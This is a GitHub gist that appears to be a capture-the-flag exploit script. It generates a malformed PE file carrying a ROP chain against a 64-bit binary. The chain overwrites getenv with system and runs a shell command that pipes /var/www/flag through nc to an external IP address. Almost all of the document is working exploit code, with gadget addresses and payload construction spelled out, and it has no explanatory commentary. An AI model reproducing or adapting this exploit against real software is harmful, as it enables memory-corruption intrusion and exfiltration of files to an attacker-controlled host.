Created
December 18, 2017 03:46
-
-
Save peternguyen93/2943a4dfa928b1ba21648283b586a1c0 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Pwn import * | |
p = Pwn(mode=1) | |
def pA32(*args): | |
binary = '' | |
for arg in args: | |
binary += p.p32(arg) | |
return binary | |
PIE = '\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00' | |
PIE+= '\x00\xf0\x00\x00\x00\x00\x00\x00\x40\xf0\x00\x00\x00\x00\x00\x00' | |
PIE+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | |
PIE+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00' | |
PIE+= '\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21\x54\x68' | |
PIE+= '\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f' | |
PIE+= '\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20' | |
PIE+= '\x6d\x6f\x64\x65\x2e\x0d\x0d\x0a\x24\x00\x00\x00\x00\x00\x00\x00' | |
PIE+= '\x50\x45\x00\x00\x4c\x01\x05\x00\x8b\x45\xe4\x35\x00\x00\x00\x00' | |
PIE+= '\x00\x00\x00\x00' | |
PIE+= p.p16(6288) # segment size total | |
PIE+= '\x0e\x03\x0b\x01\x02\x19\x00\x12\x00\x00' | |
PIE+= '\x00\x14\x00\x00\x00\x02\x00\x00\xf0\x16\x00\x00\x00\x10\x00\x00' | |
PIE+= '\x00\x40\x00\x00\x00\x00\x40\x00\x00\x10\x00\x00\x00\x02\x00\x00' | |
PIE+= '\x06\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x42\x42\x42\x42' | |
PIE+= '\x00\x80\x80\x00\x00\xff\x00\x00\x9d\x10\x01\x00\x03\x00\x40\xc1' | |
PIE+= '\x40\x40\x10\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00' | |
PIE+= '\x43\x43\x43\x43' | |
PIE+= p.p32(0xf0) # number of segment | |
# PIE+= '\x00\x00\x00\x00\x00\x00\x00\x00' | |
payload = '' | |
payload+= 'cat /var/www/flag | nc 139.59.244.42 31338;\x00' | |
payload = payload.ljust(1384,'A') | |
payload+= pA32( | |
# 0x414141, | |
0x4d86a4,# pop rax ; pop rbp ; ret | |
0x0828020 - 8, # getenv address | |
0x6193e8 + 8, # heap offset | |
# rax -> getenv | |
0x426109, # mov rax, qword ptr [rax + 8] ; pop rbp ; ret | |
0x414141, | |
0x50b600, # pop rbx; pop rbp; ret | |
0xbc20, # system offset | |
0x414141, | |
0x4c07e8, # add rax, rbx ; add rsp, 0x48 ; pop rbx ; pop rbp ; ret | |
) | |
payload+= 'AAAA'*10 | |
payload+= pA32( | |
# overwrite getenv by system address | |
0x0828020 + 0x10, | |
0x48f9ca, # mov qword ptr [rbp - 0x10], rax ; mov rax, qword ptr [rbp - 0x10] ; pop rbp ; ret | |
0x414141, | |
# calculate input address | |
0x4d86a4,# pop rax ; pop rbp ; ret | |
0x50b601, # set $rbx = pop rbp; ret | |
0x424242, | |
0x4464f6, # mov edx, r8d ; call rax | |
0x004c5080, # pop rcx; xor al,0xff; dec ecx; ret | |
0x1310 + 1, | |
0x4d86a4,# pop rax ; pop rbp ; ret | |
0x50b601, # set $rbx = pop rbp; ret | |
0x424242, | |
0x4e7cf4, # add rdx, rcx ; mov rdi, rdx ; call rax | |
# execute system | |
0x0401E90, # system | |
0x0401F30, # exit | |
# 0x4141414 | |
) | |
payload = payload.ljust(6288,'\x00') | |
payload = PIE + payload | |
f = open('exp','w') | |
f.write(payload) | |
f.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment